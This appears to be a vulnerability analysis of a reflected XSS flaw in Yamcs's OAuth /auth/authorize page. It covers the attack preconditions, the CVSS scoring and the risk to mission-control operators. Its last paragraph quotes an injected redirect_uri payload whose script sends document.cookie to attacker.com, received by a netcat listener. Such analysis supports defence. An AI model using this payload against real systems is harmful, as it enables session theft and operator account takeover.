Yamcs CVE-2026-55549

The victim must be authenticated to Yamcs (logged in with an active session) at the time the crafted URL is loaded, because the attack targets the OAuth authorization page to steal the session token of the current user - an unauthenticated visitor has no token to steal. The Yamcs instance must be using the built-in Yamcs authentication handler that renders the /auth/authorize endpoint (authorize.html via AuthHandler.java); deployments that proxy authentication entirely through an external IdP and do not expose this endpoint may not be affected. The attacker must be able to deliver a URL to the victim and induce a browser navigation to it (phishing, link injection, etc.). No special server configuration beyond a default Yamcs installation is required - the endpoint is part of the standard OAuth flow enabled by default. Exploitation is limited by the UI:R requirement: automated mass exploitation is not feasible without victim interaction, but targeted social engineering against specific operators is realistic given the trivial payload construction.

The CVSS 3.1 base score of 6.5 (AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N) reflects low attack complexity and no authentication requirement but is gated by mandatory user interaction - the victim must load the attacker-crafted URL while authenticated. The S:U assignment is conservative; a case for S:C exists since the XSS executes in the victim's browser security context, distinct from the Yamcs server component. EPSS data was not provided, limiting probabilistic exploitation assessment. KEV status is not confirmed, indicating no known active exploitation by CISA at time of analysis. However, the GHSA advisory includes a complete, step-by-step proof-of-concept with an exact working URL payload requiring no specialized tooling beyond a netcat listener, meaning barrier to exploitation is extremely low for any attacker who can socially engineer a victim link click. The impact is high: token exfiltration leads directly to account takeover, which in a mission control context could have operational safety implications beyond typical enterprise software. Real-world risk is higher than the 6.5 score suggests when the target environment is a space operations network where Yamcs operator accounts carry privileged access to spacecraft commanding interfaces.

An attacker registers a netcat listener on a public server, then constructs a URL targeting the Yamcs /auth/authorize endpoint with a redirect_uri parameter containing an injected fetch-based script tag (e.g., redirect_uri=...%22><script>fetch('https://attacker.com?c='+document.cookie)</script>). The attacker delivers this URL to a Yamcs operator via a phishing email or internal chat link. When the operator - already authenticated to Yamcs - loads the URL, the unescaped parameter is reflected into the authorize.html response and the script executes, transmitting the operator's access and refresh tokens to the attacker's listener. A complete working payload is published in GHSA-rxpg-wjf8-qv9c, confirming exploitability requires no special tooling.